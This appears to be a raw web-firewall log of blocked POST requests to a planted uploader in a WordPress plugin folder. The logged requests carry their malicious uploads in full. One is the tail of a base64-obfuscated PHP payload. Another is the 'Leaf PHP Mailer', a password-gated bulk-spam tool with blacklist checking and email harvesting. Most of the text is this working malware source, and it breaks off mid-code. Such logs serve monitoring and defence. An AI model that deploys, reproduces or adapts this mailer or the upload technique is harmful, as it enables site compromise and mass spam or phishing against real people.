aHRVeE90b0tBMU1tNURaYm9YNjE5YVdMclRCN1JqN01aU0FXWG12Rm9zcGZqQjhHTU9Kc3RUUkJ3WW1MWllzbGJ6TXcyTFY5c1hlamZDNVBQeis0Nk9MR0gya3IrMXkzZUFOU2lSNXl5bEErSmsyaVVGNGsvY2p3YnE4OWQyOHdlc2dMVnFUUDgxaFVKb1ZnRXBtZDNPTkZGL1FIZXNoZUJCOG9iSlVlbmZoNWZMOXBzS2VUcGl1dFdyQk56NXNoNmNhZ3VISUROY1VLcm13T0M0MWptS2FuRjUxZDNTNzg1STI3YVJGRmpmOFhDWDE3c0FMS3MzZ0RVdlNBYml3N01aYnJudk16S252V2hIZHFjam45cDFNdE5iaW4xOVVMQ3JkdGFjV3hLaDR4ckZyMmI2NnFNT1VvVmVyQk1icTYxWFdIc0Y2N25HbndqUmw1ak5JRFl6bXhLck44YTQ2RU1pWmpERkxKVEt5R0wxTGZ2a2l2U0RwUEhSbEhhaFpsVWRicGJnaTM4S0lXdUhYMEtqR28zb014SGlBc1lyZHc3aUhhNHVYMGhWaVNTMEpudHNDbzYwODU1VUtQNDZoR1BFVFNva29BTjEyRVhqa1pUbXFxQlRnc1BSSjNOdjZ2aDBSektUS256cG5jNjRUYm9uQjVPWHFUZkJHTzJNSVVNQkxERHQyM3pONlhCdDY2N3M5aEg4NUFnZmFldkZ4Wlo2ZFA0Z1FuVzZCbTVHcWZmUERaS0pHQ0Zhdk80Q1lDUXRUajRQVTFhQ25Pa0NSRWlPeG1CSTNMMFBqeUMxNTNlWk83THZ4ZHJ4YlRRNlVEZzgwbUZKbmJ3Tm5SRHU4aGJQV3ZtTWRlZXphdGJYTnV3emZ6Z1ZQck9JdGhVWGZRcm9XZ1V1T3VxN2Vld3FlQlgyTlVnWkVQalUwTDFEN2RCblRXWUFqalBlWlgwdklIbm5lVVFDZndqUHZacVlRZDhyZ0JPMTdleVM5VkdRdVVRaFBSc0pLd3Z1aUg0ellpd2hKbFppQ3pONWMzbWlQelp0bDBuZjhTdzcxVFA5VjF3RTFrdzhLaDVGMEFlcXdOemh1Vnd1cTFtbE1HSjc2Zmg4RW51UXFpdmdQRE91NTJYak9DeU1XdEdmSDJHSGhkNkNVd21heUFxVlFYNlNFaUVTWGRrdEdlam10ZVhWdlFPWXRzSFcnKSkpKSkpKSkpKSkpKSk7'));\n?>\r\n--bde94114e985d36a26f7d20af157b33b\r\nContent-Disposition: form-data; name=\"berkasnya\"\r\n\r\n\r\n--bde94114e985d36a26f7d20af157b33b\r\nContent-Disposition: form-data; name=\"darilink\"\r\n\r\n\r\n--bde94114e985d36a26f7d20af157b33b\r\nContent-Disposition: form-data; name=\"namalink\"\r\n\r\n\r\n--bde94114e985d36a26f7d20af157b33b--\r\n"]
["2026-05-26 21:49:53","170.205.30.68","POST","\/wp-content\/plugins\/ngarw\/index.php","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36","post","http包非法,并且被封锁IP,如果自定义了from-data可能会导致误报。如果大量出现当前问题。可以选择在全局设置中关闭From-data协议10","POST \/wp-content\/plugins\/ngarw\/index.php HTTP\/1.1\naccept-encoding:gzip, deflate, br\nupgrade-insecure-requests:1\ncache-control:max-age=0\ncontent-type:multipart\/form-data; boundary=041a7bdfd0b56825442e73f6e8c46c3f\nsec-ch-ua:\"Not)A;Brand\";v=\"8\", \"Chromium\";v=\"138\"\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/138.0.0.0 Safari\/537.36\ncontent-length:166200\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-site:same-origin\nsec-fetch-mode:navigate\nsec-fetch-user:?1\nsec-fetch-dest:document\nsec-ch-ua-mobile:?0\npriority:u=0, i\nhost:dewenlabels.com\naccept-language:en-US,en;q=0.9\nconnection:keep-alive\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/avif,image\/webp,image\/apng,*\/*;q=0.8,application\/signed-exchange;v=b3;q=0.7\n\n--041a7bdfd0b56825442e73f6e8c46c3f\r\nContent-Disposition: form-data; name=\"dirnya\"\r\n\r\n1\r\n--041a7bdfd0b56825442e73f6e8c46c3f\r\nContent-Disposition: form-data; name=\"upwkwk\"\r\n\r\naplod\r\n--041a7bdfd0b56825442e73f6e8c46c3f\r\nContent-Disposition: form-data; name=\"berkas\"; filename=\"adyab.php\"\r\nContent-Type: application\/octet-stream\r\n\r\n<?php\n\/**\n * Leaf PHP Mailer by [leafmailer.pw]\n * @version : 2.8\n**\/\n\n$password = \"lufix\"; \/\/ Password \n\nsession_start();\nerror_reporting(0);\nset_time_limit(0);\nini_set(\"memory_limit\",-1);\n\n$leaf['version']=\"2.8\";\n$leaf['website']=\"leafmailer.pw\";\n\n\n$sessioncode = md5(__FILE__);\nif(!empty($password) and $_SESSION[$sessioncode] != $password){\n if (isset($_REQUEST['pass']) and $_REQUEST['pass'] == $password) {\n $_SESSION[$sessioncode] = $password;\n }\n else {\n print \"<pre align=center><form method=post>Password: <input type='password' name='pass'><input type='submit' value='>>'><\/form><\/pre>\";\n exit; \n }\n}\n\nsession_write_close();\n\n\nfunction leafClear($text,$email){\n\t$e = explode('@', $email);\n\t$emailuser=$e[0];\n\t$emaildomain=$e[1];\n $text = str_replace(\"[-time-]\", date(\"m\/d\/Y h:i:s a\", time()), $text);\n $text = str_replace(\"[-email-]\", $email, $text);\n $text = str_replace(\"[-emailuser-]\", $emailuser, $text);\n $text = str_replace(\"[-emaildomain-]\", $emaildomain, $text);\n $text = str_replace(\"[-randomletters-]\", randString('abcdefghijklmnopqrstuvwxyz'), $text);\n $text = str_replace(\"[-randomstring-]\", randString('abcdefghijklmnopqrstuvwxyz0123456789'), $text);\n $text = str_replace(\"[-randomnumber-]\", randString('0123456789'), $text);\n $text = str_replace(\"[-randommd5-]\", md5(randString('abcdefghijklmnopqrstuvwxyz0123456789')), $text);\n return $text; \n}\nfunction leafTrim($string){\n\t$string=urldecode($string);\n return stripslashes(trim($string));\n}\nfunction randString($consonants) {\n $length=rand(12,25);\n $password = '';\n for ($i = 0; $i < $length; $i++) {\n $password .= $consonants[(rand() % strlen($consonants))];\n }\n return $password;\n}\nfunction leafMailCheck($email){\n if (filter_var($email, FILTER_VALIDATE_EMAIL)) return true;\n else return false;\n}\n# Bulit-in BlackList Checker \nif(isset($_GET['check_ip'])){\n if (isset($_GET['host'])){\n $_GET['host']=explode(\",\", $_GET['host']);\n foreach ($_GET['host'] as $host) {\n if (checkdnsrr($_GET['check_ip'] . \".\" . $host . \".\", \"A\")) $check= \"<font color='red'> Listed<\/font>\";\n else $check= \"<font color='green'> Clean<\/font>\";\n print 'document.getElementById(\"'. $host.'\").innerHTML = \"'.$check.'\";';\n }\n\n exit;\n }\n $dnsbl_lookup = [\n \"all.s5h.net\",\n \"b.barracudacentral.org\",\n \"bl.spamcop.net\",\n \"blacklist.woody.ch\",\n \"bogons.cymru.com\",\n \"cbl.abuseat.org\",\n \"cdl.anti-spam.org.cn\",\n \"combined.abuse.ch\",\n \"db.wpbl.info\",\n \"dnsbl-1.uceprotect.net\",\n \"dnsbl-2.uceprotect.net\",\n \"dnsbl-3.uceprotect.net\",\n \"dnsbl.anticaptcha.net\",\n \"dnsbl.dronebl.org\",\n \"dnsbl.inps.de\",\n \"dnsbl.sorbs.net\",\n \"drone.abuse.ch\",\n \"duinv.aupads.org\",\n \"dul.dnsbl.sorbs.net\",\n \"dyna.spamrats.com\",\n \"dynip.rothen.com\",\n \"http.dnsbl.sorbs.net\",\n \"ips.backscatterer.org\",\n \"ix.dnsbl.manitu.net\",\n \"korea.services.net\",\n \"misc.dnsbl.sorbs.net\",\n \"noptr.spamrats.com\",\n \"orvedb.aupads.org\",\n \"pbl.spamhaus.org\",\n \"proxy.bl.gweep.ca\",\n \"psbl.surriel.com\",\n \"relays.bl.gweep.ca\",\n \"relays.nether.net\",\n \"sbl.spamhaus.org\",\n \"short.rbl.jp\",\n \"singular.ttk.pte.hu\",\n \"smtp.dnsbl.sorbs.net\",\n \"socks.dnsbl.sorbs.net\",\n \"spam.abuse.ch\",\n \"spam.dnsbl.anonmails.de\",\n \"spam.dnsbl.sorbs.net\",\n \"spam.spamrats.com\",\n \"spambot.bls.digibase.ca\",\n \"spamrbl.imp.ch\",\n \"spamsources.fabel.dk\",\n \"ubl.lashback.com\",\n \"ubl.unsubscore.com\",\n \"virus.rbl.jp\",\n \"web.dnsbl.sorbs.net\",\n \"wormrbl.imp.ch\",\n \"xbl.spamhaus.org\",\n \"z.mailspike.net\",\n \"zen.spamhaus.org\",\n \"zombie.dnsbl.sorbs.net\",\n ];\n $reverse_ip = implode(\".\", array_reverse(explode(\".\", $_GET['check_ip'])));\n $dnsT = count($dnsbl_lookup);\n leafheader();\n print '<div class=\"container col-lg-6\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Blacklist Checker<\/small><\/h3>';\n Print \"Checking <b>\".$_GET['check_ip'].\"<\/b> in <b>$dnsT<\/b> anti-spam databases:<br>\";\n $dnsN=\"\";\n print '<table >';\n for ($i=0; $i < $dnsT; $i=$i+10) { \n $host=\"\";\n $hosts=\"\";\n for($j=$i; $j<$i+10;$j++){\n $host=$dnsbl_lookup[$j];\n if(!empty($host)){\n print \"<tr> <td>$host<\/td> <td id='$host'>Checking ..<\/td><\/tr>\";\n $hosts .=\"$host,\";\n }\n }\n $dnsN.=\"<script src='?check_ip=$reverse_ip&host=\".$hosts.\"' type='text\/javascript'><\/script>\";\n }\n\n print '<\/table><\/div>';\n print $dnsN;\n exit;\n}\nif(isset($_GET['emailfilter'])){\n\n if(!empty($_FILES['fileToUpload']['tmp_name'])){\n $_POST['emailList']= file_get_contents($_FILES[\"fileToUpload\"][\"tmp_name\"]); \n }\n $_POST['emailList']=strtolower($_POST['emailList']);\n if($_GET['emailfilter']==\"ifram\"){\n if ($_POST['resulttype'] == \"download\"){\n header(\"Content-Description: File Transfer\"); \n header(\"Content-Type: application\/octet-stream\"); \n header(\"Content-Disposition: attachment; filename=emails\".time().\".txt\");\n }\n else {\n header(\"Content-Type: text\/plain\");\n }\n if($_POST['submit']==\"extract\"){\n $pattern = '\/[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\\.[A-Za-z]{2,4}\/';\n preg_match_all($pattern, $_POST['emailList'], $matches);\n foreach ($matches[0] as $email) {\n print $email.\"\\n\";\n }\n }\n elseif ($_POST['submit']==\"filter\") {\n $emails=explode(\"\\n\", $_POST['emailList']);\n $keywords=explode(\"\\n\", strtolower($_POST['keywords']));\n foreach ($emails as $email) {\n foreach ($keywords as $keyword ) {\n if(strstr($email, $keyword) ){\n print $email.\"\\n\";\n break;\n }\n \n }\n }\n\n }\n exit;\n }\n leafheader();\n print '<div class=\"container col-lg-4\"><h3><font color=\"green\"><span class=\"glyphicon glyphicon-leaf\"><\/span><\/font> Leaf PHPMailer <small>Email Filter<\/small><\/h3>';\n print '\n <form action=\"?emailfilter=ifram\" method=\"POST\" target=\"my-iframe\" enctype=\"multipart\/form-data\" onsubmit=\\'\\'>\n <label for=\"emailList\">Text <\/label><input type=\"file\" name=\"fileToUpload\" id=\"fileToUpload\"> \n or\n\n <textarea name=\"emailList\" id=\"emailList\" class=\"form-control\" rows=\"7\" id=\"textArea\"><\/textarea>\n <div class=\"col-lg-12\">\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"here\" checked=\"\">\n Show Result in this page\n <\/label>\n <\/div>\n <div class=\"radio\">\n <label>\n <input type=\"radio\" name=\"resulttype\" id=\"resulttype\" value=\"download\">\n Download Result (for big numbers)\n <\/label>\n <\/div>\n <\/div>\n <legend><h4>Extract Email<\/h4><\/legend>\n Detecting every email (100%) and order them line by line <br><br>\n <button type=\"submit\" name=\"submit\" value=\"extract\" class=\"btn btn-default btn-sm\">Start<\/button>\n <legend><h4>Filter Emails<\/h4><\/legend>\n <label >Keywords <small> ex: gmail.com or .co.uk<\/small> <\/label><textarea name=\"keywords\" id=\"keywords\" class=\"form-control\" rows=\"4\" id=\"textArea\">gmail.com\nhotmail.com\nyahoo.com\n.co.uk<\/textarea><br>\n\n <button type=\"submit\" name=\"submit\" value=\"filter\" class=\"btn btn-default btn-sm\">Start<\/button>\n <\/form>\n <label >Result <\/label>\n <iframe style=\"border:none;width:100%;\" name=\"my-iframe\" src=\"?emailfilter=ifram\" ><\/iframe>\n ';\n exit;\n\n}\n$html=\"checked\";\n$utf8=\"selected\";\n$bit8=\"selected\";\n\nif($_POST['action']==\"send\" or $_POST['action']==\"score\"){\n\n $senderEmail=leafTrim($_POST['senderEmail']);\n $senderName=leafTrim($_POST['senderName']);\n $replyTo=leafTrim($_POST['replyTo']);\n $subject=leafTrim($_POST['subject']);\n $emailList=leafTrim($_POST['emailList']);\n $messageType=leafTrim($_POST['messageType']);\n $messageLetter=leafTrim($_POST['messageLetter']);\n $encoding = $_POST['encode'];\n $charset = $_POST['charset'];\n $html=\"\";\n $utf8=\"\";\n $bit8=\"\";\n\n if($messageType==2) $plain=\"checked\";\n else $html=\"checked\";\n\n if($charset==\"ISO-8859-1\") $iso=\"selected\";\n else $utf8=\"selected\";\n\n if($encoding==\"7bit\") $bit7=\"selected\";\n elseif($encoding==\"binary\") $binary=\"selected\";\n elseif($encoding==\"base64\") $base64=\"selected\";\n elseif($encoding==\"quoted-printable\") $quotedprintable=\"selected\";\n else $bit8=\"selected\";\n\n\n\n}\nif($_POST['action']==\"view\"){\n\t$viewMessage=leafTrim($_POST['messageLetter']);\n\t$viewMessage=leafClear($viewMessage,\"user@domain.com\");\n\tif ($_POST['messageType']==2){\n\t\tprint \"<pre>\".htmlspecialchars($viewMessage).\"<\/pre>\";\n\t}\n\telse {\n\t\tprint $viewMessage;\n\t}\n\texit;\n}\n\n\n\nif(!isset($_POST['senderEmail'])){\n $senderEmail=\"support@\".str_replace(\"www.\", \"\", $_SERVER['HTTP_HOST']);\n if (!leafMailCheck($senderEmail)) $senderEmail=\"\";\n}\n\nclass PHPMailer\n{\n \/**\n * The PHPMailer Version number.\n * @var string\n *\/\n public $Version = '5.2.28';\n\n \/**\n * Email priority.\n * Options: null (default), 1 = High, 3 = Normal, 5 = low.\n * When null, the header is not set at all.\n * @var integer\n *\/\n public $Priority = null;\n\n \/**\n * The character set of the message.\n * @var string\n *\/\n public $CharSet = 'iso-8859-1';\n\n \/**\n * The MIME Content-type of the message.\n * @var string\n *\/\n public $ContentType = 'text\/plain';\n\n \/**\n * The message encoding.\n * Options: \"8bit\", \"7bit\", \"binary\", \"base64\", and \"quoted-printable\".\n * @var string\n *\/\n public $Encoding = '8bit';\n\n \/**\n * Holds the most recent mailer error message.\n * @var string\n *\/\n public $ErrorInfo = '';\n\n \/**\n * The From email address for the message.\n * @var string\n *\/\n public $From = 'root@localhost';\n\n \/**\n * The From name of the message.\n * @var string\n *\/\n public $FromName = 'Root User';\n\n \/**\n * The Sender email (Return-Path) of the message.\n * If not empty, will be sent via -f to sendmail or as 'MAIL FROM' in smtp mode.\n * @var string\n *\/\n public $Sender = '';\n\n \/**\n * The Return-Path of the message.\n * If empty, it will be set to either From or Sender.\n * @var string\n * @deprecated Email senders should never set a return-path header;\n * it's the receiver's job (RFC5321 section 4.4), so this no longer does anything.\n * @link https:\/\/tools.ietf.org\/html\/rfc5321#section-4.4 RFC5321 reference\n *\/\n public $ReturnPath = '';\n\n \/**\n * The Subject of the message.\n * @var string\n *\/\n public $Subject = '';\n\n \/**\n * An HTML or plain text message body.\n * If HTML then call isHTML(true).\n * @var string\n *\/\n public $Body = '';\n\n \/**\n * The plain-text message body.\n * This body can be read by mail clients that do not have HTML email\n * capability such as mutt & Eudora.\n * Clients that can read HTML will view the normal Body.\n * @var string\n *\/\n public $AltBody = '';\n\n \/**\n * An iCal message part body.\n * Only supported in simple alt or alt_inline message types\n * To generate iCal events, use the bundled extras\/EasyPeasyICS.php class or iCalcreator\n * @link http:\/\/sprain.ch\/blog\/downloads\/php-class-easypeasyics-create-ical-files-with-php\/\n * @link http:\/\/kigkonsult.se\/iCalcreator\/\n * @var string\n *\/\n public $Ical = '';\n\n \/**\n * The complete compiled MIME message body.\n * @access protected\n * @var string\n *\/\n protected $MIMEBody = '';\n\n \/**\n * The complete compiled MIME message headers.\n * @var string\n * @access protected\n *\/\n protected $MIMEHeader = '';\n\n \/**\n * Extra headers that createHeader() doesn't fold in.\n * @var string\n * @access protected\n *\/\n protected $mailHeader = '';\n\n \/**\n * Word-wrap the message body to this number of chars.\n * Set to 0 to not wrap. A useful value here is 78, for RFC2822 section 2.1.1 compliance.\n * @var integer\n *\/\n public $WordWrap = 0;\n\n \/**\n * Which method to use to send mail.\n * Options: \"mail\", \"sendmail\", or \"smtp\".\n * @var string\n *\/\n public $Mailer = 'mail';\n\n \/**\n * The path to the sendmail program.\n * @var string\n *\/\n public $Sendmail = '\/usr\/sbin\/sendmail';\n\n \/**\n * Whether mail() uses a fully sendmail-compatible MTA.\n * One which supports sendmail's \"-oi -f\" options.\n * @var boolean\n *\/\n public $UseSendmailOptions = true;\n\n \/**\n * Path to PHPMailer plugins.\n * Useful if the SMTP class is not in the PHP include path.\n * @var string\n * @deprecated Should not be needed now there is an autoloader.\n *\/\n public $PluginDir = '';\n\n \/**\n * The email address that a reading confirmation should be sent to, also known as read receipt.\n * @var string\n *\/\n public $ConfirmReadingTo = '';\n\n \/**\n * The hostname to use in the Message-ID header and as default HELO string.\n * If empty, PHPMailer attempts to find one with, in order,\n * $_SERVER['SERVER_NAME'], gethostname(), php_uname('n'), or the value\n * 'localhost.localdomain'.\n * @var string\n *\/\n public $Hostname = '';\n\n \/**\n * An ID to be used in the Message-ID header.\n * If empty, a unique id will be generated.\n * You can set your own, but it must be in the format \"<id@domain>\",\n * as defined in RFC5322 section 3.6.4 or it will be ignored.\n * @see https:\/\/tools.ietf.org\/html\/rfc5322#section-3.6.4\n * @var string\n *\/\n public $MessageID = '';\n\n \/**\n * The message Date to be used in the Date header.\n * If empty, the current date will be added.\n * @var string\n *\/\n public $MessageDate = '';\n\n \/**\n * SMTP hosts.\n * Either a single hostname or multiple semicolon-delimited hostnames.\n * You can also specify a different port\n * for each host by using this format: [hostname:port]\n * (e.g. \"smtp1.example.com:25;smtp2.example.com\").\n * You can also specify encryption type, for example:\n * (e.g. \"tls:\/\/smtp1.example.com:587;ssl:\/\/smtp2.example.com:465\").\n * Hosts will be tried in order.\n * @var string\n *\/\n public $Host = 'localhost';\n\n \/**\n * The default SMTP server port.\n * @var integer\n * @TODO Why is this needed when the SMTP class takes care of it?\n *\/\n public $Port = 25;\n\n \/**\n * The SMTP HELO of the message.\n * Default is $Hostname. If $Hostname is empty, PHPMailer attempts to find\n * one with the same method described above for $Hostname.\n * @var string\n * @see PHPMailer::$Hostname\n *\/\n public $Helo = '';\n\n \/**\n * What kind of encryption to use on the SMTP connection.\n * Options: '', 'ssl' or 'tls'\n * @var string\n *\/\n public $SMTPSecure = '';\n\n \/**\n * Whether to enable TLS encryption automatically if a server supports it,\n * even if `SMTPSecure` is not set to 'tls'.\n * Be aware that in PHP >= 5.6 this requires that the server's certificates are valid.\n * @var boolean\n *\/\n public $SMTPAutoTLS = true;\n\n \/**\n * Whether to use SMTP authentication.\n * Uses the Username and Password properties.\n * @var boolean\n * @see PHPMailer::$Username\n * @see PHPMailer::$Password\n *\/\n public $SMTPAuth = false;\n\n \/**\n * Options array passed to stream_context_create when connecting via SMTP.\n * @var array\n *\/\n public $SMTPOptions = array();\n\n \/**\n * SMTP username.\n * @var string\n *\/\n public $Username = '';\n\n \/**\n * SMTP password.\n * @var string\n *\/\n public $Password = '';\n\n \/**\n * SMTP auth type.\n * Options are CRAM-MD5, LOGIN, PLAIN, NTLM, XOAUTH2, attempted in that order if not specified\n * @var string\n *\/\n public $AuthType = '';\n\n \/**\n * SMTP realm.\n * Used for NTLM auth\n * @var string\n *\/\n public $Realm = '';\n\n \/**\n * SMTP workstation.\n * Used for NTLM auth\n * @var string\n *\/\n public $Workstation = '';\n\n \/**\n * The SMTP server timeout in seconds.\n * Default of 5 minutes (300sec) is from RFC2821 section 4.5.3.2\n * @var integer\n *\/\n public $Timeout = 300;\n\n \/**\n * SMTP class debug output mode.\n * Debug output level.\n * Options:\n * * `0` No output\n * * `1` Commands\n * * `2` Data and commands\n * * `3` As 2 plus connection status\n * * `4` Low-level data output\n * @var integer\n * @see SMTP::$do_debug\n *\/\n public $SMTPDebug = 0;\n\n \/**\n * How to handle debug output.\n * Options:\n * * `echo` Output plain-text as-is, appropriate for CLI\n * * `html` Output escaped, line breaks converted to `<br>`, appropriate for browser output\n * * `error_log` Output to error log as configured in php.ini\n *\n * Alternatively, you can provide a callable expecting two params: a message string and the debug level:\n * <code>\n * $mail->Debugoutput = function($str, $level) {echo \"debug level $level; message: $str\";};\n * <\/code>\n * @var string|callable\n * @see SMTP::$Debugoutput\n *\/\n public $Debugoutput = 'echo';\n\n \/**\n * Whether to keep SMTP connection open after each message.\n * If this is set to true then to close the connection\n * requires an explicit call to smtpClose().\n * @var boolean\n *\/\n public $SMTPKeepAlive = false;\n\n \/**\n * Whether to split multiple to addresses into multiple messages\n * or send them all in one message.\n * Only supported in `mail` and `sendmail` transports, not in SMTP.\n * @var boolean\n *\/\n public $SingleTo = false;\n\n \/**\n * Storage for addresses when SingleTo is enabled.\n * @var array\n * @TODO This should really not be public\n *\/\n public $SingleToArray = array();\n\n \/**\n * Whether to generate VERP addresses on send.\n * Only applicable when sending via SMTP.\n * @link https:\/\/en.wikipedia.org\/wiki\/Variable_envelope_return_path\n * @link http:\/\/www.postfix.org\/VERP_README.html Postfix VERP info\n * @var boolean\n *\/\n public $do_verp = false;\n\n \/**\n * Whether to allow sending messages with an empty body.\n * @var boolean\n *\/\n public $AllowEmpty = false;\n\n \/**\n * The default line ending.\n * @note The default remains \"\\n\". We force CRLF where we know\n * it must be used via self::CRLF.\n * @var string\n *\/\n public $LE = \"\\n\";\n\n \/**\n * DKIM selector.\n * @var string\n *\/\n public $DKIM_selector = '';\n\n \/**\n * DKIM Identity.\n * Usually the email address used as the source of the email.\n * @var string\n *\/\n public $DKIM_identity = '';\n\n \/**\n * DKIM passphrase.\n * Used if your key is encrypted.\n * @var string\n *\/\n public $DKIM_passphrase = '';\n\n \/**\n * DKIM signing domain name.\n * @example 'example.com'\n * @var string\n *\/\n public $DKIM_domain = '';\n\n \/**\n * DKIM private key file path.\n * @var string\n *\/\n public $DKIM_private = '';\n\n \/**\n * DKIM private key string.\n * If set, takes precedence over `$DKIM_private`.\n * @var string\n *\/\n public $DKIM_private_string = '';\n\n \/**\n * Callback Action function name.\n *\n * The function that handles the result of the send email action.\n * It is called out by send() for each email sent.\n *\n * Value can be any php callable: http:\/\/www.php.net\/is_callable\n *\n * Parameters:\n * boolean $result result of the send action\n * array $to email addresses of the recipients\n * array $cc cc email addresses\n * array $bcc bcc email addresses\n * string $subject the subject\n * string $body the email body\n * string $from email address of sender\n * @var string\n *\/\n public $action_function = '';\n\n \/**\n * What to put in the X-Mailer header.\n * Options: An empty string for PHPMailer default, whitespace for none, or a string to use\n * @var string\n *\/\n public $XMailer = ' ';\n\n \/**\n * Which validator to use by default when validating email addresses.\n * May be a callable to inject your own validator, but there are several built-in validators.\n * @see PHPMailer::validateAddress()\n * @var string|callable\n * @static\n *\/\n public static $validator = 'auto';\n\n \/**\n * An instance of the SMTP sender class.\n * @var SMTP\n * @access protected\n *\/\n protected $smtp = null;\n\n \/**\n * The array of 'to' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $to = array();\n\n \/**\n * The array of 'cc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $cc = array();\n\n \/**\n * The array of 'bcc' names and addresses.\n * @var array\n * @access protected\n *\/\n protected $bcc = array();\n\n \/**\n * The array of reply-to names and addresses.\n * @var array\n * @access protected\n *\/\n protected $ReplyTo = array();\n\n \/**\n * An array of all kinds of addresses.\n * Includes all of $to, $cc, $bcc\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n *\/\n protected $all_recipients = array();\n\n \/**\n * An array of names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $all_recipients\n * and one of $to, $cc, or $bcc.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$to @see PHPMailer::$cc @see PHPMailer::$bcc\n * @see PHPMailer::$all_recipients\n *\/\n protected $RecipientsQueue = array();\n\n \/**\n * An array of reply-to names and addresses queued for validation.\n * In send(), valid and non duplicate entries are moved to $ReplyTo.\n * This array is used only for addresses with IDN.\n * @var array\n * @access protected\n * @see PHPMailer::$ReplyTo\n *\/\n protected $ReplyToQueue = array();\n\n \/**\n * The array of attachments.\n * @var array\n * @access protected\n *\/\n protected $attachment = array();\n\n \/**\n * The array of custom headers.\n * @var array\n * @access protected\n *\/\n protected $CustomHeader = array();\n\n \/**\n * The most recent Message-ID (including angular brackets).\n * @var string\n * @access protected\n *\/\n protected $lastMessageID = '';\n\n \/**\n * The message's MIME type.\n * @var string\n * @access protected\n *\/\n protected $message_type = '';\n\n \/**\n * The array of MIME boundary strings.\n * @var array\n * @access protected\n *\/\n protected $boundary = array();\n\n \/**\n * The array of available languages.\n * @var array\n * @access protected\n *\/\n protected $language = array();\n\n \/**\n * The number of errors encountered.\n * @var integer\n * @access protected\n *\/\n protected $error_count = 0;\n\n \/**\n * The S\/MIME certificate file path.\n * @var string\n * @access protected\n *\/\n protected $sign_cert_file = '';\n\n \/**\n * The S\/MIME key file path.\n * @var string\n * @access protected\n *\/\n protected $sign_key_file = '';\n\n \/**\n * The optional S\/MIME extra certificates (\"CA Chain\") file path.\n * @var string\n * @access protected\n *\/\n protected $sign_extracerts_file = '';\n\n \/**\n * The S\/MIME password for the key.\n * Used only if the key is encrypted.\n * @var string\n * @access protected\n *\/\n protected $sign_key_pass = '';\n\n \/**\n * Whether to throw exceptions for errors.\n * @var boolean\n * @access protected\n *\/\n protected $exceptions = false;\n\n \/**\n * Unique ID used for message ID and boundaries.\n * @var string\n * @access protected\n *\/\n protected $uniqueid = '';\n\n \/**\n * Error severity: message only, continue processing.\n *\/\n const STOP_MESSAGE = 0;\n\n \/**\n * Error severity: message, likely ok to continue processing.\n *\/\n const STOP_CONTINUE = 1;\n\n \/**\n * Error severity: message, plus full stop, critical error reached.\n *\/\n const STOP_CRITICAL = 2;\n\n \/**\n * SMTP RFC standard line ending.\n *\/\n const CRLF = \"\\r\\n\";\n\n \/**\n * The maximum line length allowed by RFC 2822 section 2.1.1\n * @var integer\n *\/\n const MAX_LINE_LENGTH = 998;\n\n \/**\n * Constructor.\n * @param boolean $exceptions Should we throw external exceptions?\n *\/\n public function __construct($exceptions = null)\n {\n if ($exceptions !== null) {\n $this->exceptions = (boolean)$exceptions;\n }\n \/\/Pick an appropriate debug output format automatically\n $this->Debugoutput = (strpos(PHP_SAPI, 'cli') !== false ? 'echo' : 'html');\n }\n\n \/**\n * Destructor.\n *\/\n public function __destruct()\n {\n \/\/Close any open SMTP connection nicely\n $this->smtpClose();\n }\n\n \/**\n * Call mail() in a safe_mode-aware fashion.\n * Also, unless sendmail_path points to sendmail (or something that\n * claims to be sendmail), don't pass params (not a perfect fix,\n * but it will do)\n * @param string $to To\n * @param string $subject Subject\n * @param string $body Message Body\n * @param string $header Additional Header(s)\n * @param string $params Params\n * @access private\n * @return boolean\n *\/\n private function mailPassthru($to, $subject, $body, $header, $params)\n {\n \/\/Check overloading of mail function to avoid double-encoding\n if (ini_get('mbstring.func_overload') & 1) {\n $subject = $this->secureHeader($subject);\n } else {\n $subject = $this->encodeHeader($this->secureHeader($subject));\n }\n\n \/\/Can't use additional_parameters in safe_mode, calling mail() with null params breaks\n \/\/@link http:\/\/php.net\/manual\/en\/function.mail.php\n if (ini_get('safe_mode') or !$this->UseSendmailOptions or is_null($params)) {\n $result = @mail($to, $subject, $body, $header);\n } else {\n $result = @mail($to, $subject, $body, $header, $params);\n }\n return $result;\n }\n \/**\n * Output debugging info via user-defined method.\n * Only generates output if SMTP debug output is enabled (@see SMTP::$do_debug).\n * @see PHPMailer::$Debugoutput\n * @see PHPMailer::$SMTPDebug\n * @param string $str\n *\/\n protected function edebug($str)\n {\n if ($this->SMTPDebug <= 0) {\n return;\n }\n \/\/Avoid clash with built-in function names\n if (!in_array($this->Debugoutput, array('error_log', 'html', 'echo')) and is_callable($this->Debugoutput)) {\n call_user_func($this->Debugoutput, $str, $this->SMTPDebug);\n return;\n }\n switch ($this->Debugoutput) {\n case 'error_log':\n \/\/Don't output, just log\n error_log($str);\n break;\n case 'html':\n \/\/Cleans up output a bit for a better looking, HTML-safe output\n echo htmlentities(\n preg_replace('\/[\\r\\n]+\/', '', $str),\n ENT_QUOTES,\n 'UTF-8'\n )\n . \"<br>\\n\";\n break;\n case 'echo':\n default:\n \/\/Normalize line breaks\n $str = preg_replace('\/\\r\\n?\/ms', \"\\n\", $str);\n echo gmdate('Y-m-d H:i:s') . \"\\t\" . str_replace(\n \"\\n\",\n \"\\n \\t \",\n trim($str)\n ) . \"\\n\";\n }\n }\n\n \/**\n * Send messages using SMTP.\n * @return void\n *\/\n public function isSMTP()\n {\n $this->Mailer = 'smtp';\n }\n\n \/**\n * Send messages using PHP's mail() function.\n * @return void\n *\/\n public function isMail()\n {\n $this->Mailer = 'mail';\n }\n\n \/**\n * Send messages using $Sendmail.\n * @return void\n *\/\n public function isSendmail()\n {\n $ini_sendmail_path = 